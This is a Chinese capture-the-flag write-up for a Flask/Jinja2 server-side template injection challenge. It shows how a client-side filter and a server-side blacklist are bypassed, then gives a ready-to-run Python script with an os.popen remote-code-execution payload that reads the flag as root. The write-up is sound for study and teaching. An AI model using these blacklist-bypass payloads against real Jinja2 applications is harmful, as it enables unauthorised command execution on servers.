# template
## Summary
Flask + Jinja2 应用把用户输入直接作为模板渲染,构成 SSTI。题目用两层黑名单增加趣味:前端 JS 拦截 `{ } %`,服务端拦截字符 `' | . +` 与子串 `init / class / os / flag`。用 `["key"]` 下标代替点号、用 `~` 拼接字符串代替被禁词,经 `lipsum.__globals__` 到达 `os.popen` 实现 RCE,读取 `/flag`。
## Solution
### Step 1: 指纹识别与入口分析
首页响应头泄露技术栈:
```
Server: Werkzeug/2.2.3 Python/3.7.12
```
页面引用 `/static/js/script.js`,为混淆 JS。解码后得到关键逻辑:
- 若输入包含 `{`、`}` 或 `%`,前端 `alert('hack!!!!!')` 并不发送 —— **纯客户端拦截,手工构造请求即可绕过**;
- 否则以固定 key `xdsecminil` 逐字符 XOR 加密输入并 base64 编码,`POST /build`,body 为 `data=<base64(XOR(input))>`。
服务端 XOR 解码后,把输入**直接传给 Jinja2 渲染**并明文返回结果。
确认 SSTI:发送 `{{7*7}}`,返回 `49`。
### Step 2: 分析服务端黑名单并构造绕过
探测服务端黑名单:
| 类型 | 内容 | 触发响应 |
|------|------|----------|
| 字符 | `'` `|` `.` `+` | `hack!!!!...` |
| 词(子串匹配) | `init` `class` `os` `flag` | `hack!!!!...` |
绕过思路:
- 禁 `.`、`|`、`'` → 属性访问全部改用 `["name"]` 双引号下标;
- 禁 `init`、`class`、`os`、`flag` 子串 → 用 Jinja2 的 `~` 字符串拼接拆开,如 `"o"~"s"`、`"cat /f"~"lag"`。注意 `__globals__` 不含被禁子串,可直接使用。
Jinja2 全局函数 `lipsum` 挂在 `jinja2.utils` 模块上,其 `__globals__` 即模块全局命名空间,其中可直接拿到 `os`,于是构造经典链:
```
{{lipsum["__globals__"]["o"~"s"]["popen"]("id")["read"]()}}
```
### Step 3: 编码并发送,读取 flag
完整解题脚本(从构造 payload 到打印 flag 一步到位):
```python
#!/usr/bin/env python3
import base64
import urllib.request
import urllib.parse
URL = "http://49.232.142.230:14231/build"
KEY = b"xdsecminil" # 从 /static/js/script.js 解码得到
def xor_b64(payload: str) -> str:
data = payload.encode()
return base64.b64encode(bytes(c ^ KEY[i % len(KEY)] for i, c in enumerate(data))).decode()
def send(payload: str) -> str:
body = urllib.parse.urlencode({"data": xor_b64(payload)}).encode()
req = urllib.request.Request(URL, data=body,
headers={"Content-Type": "application/x-www-form-urlencoded"})
return urllib.request.urlopen(req).read().decode()
# 1) 验证 SSTI
print(send('{{7*7}}')) # -> 49
# 2) RCE 验证
print(send('{{lipsum["__globals__"]["o"~"s"]["popen"]("id")["read"]()}}'))
# -> uid=0(root) ...
# 3) 读取 flag("flag" 子串被禁,用 ~ 拼接绕过)
print(send('{{lipsum["__globals__"]["o"~"s"]["popen"]("cat /f"~"lag")["read"]()}}'))
```
运行输出(节选):
```
49
uid=0(root) gid=0(root) groups=0(root)
flag{68ac2d376baf9355f759b56823b4128a}
```
## Flag
```
flag{68ac2d376baf9355f759b56823b4128a}
```
template-wp
Zengan 2026-09-15 17:05:48 13 0 返回题目详情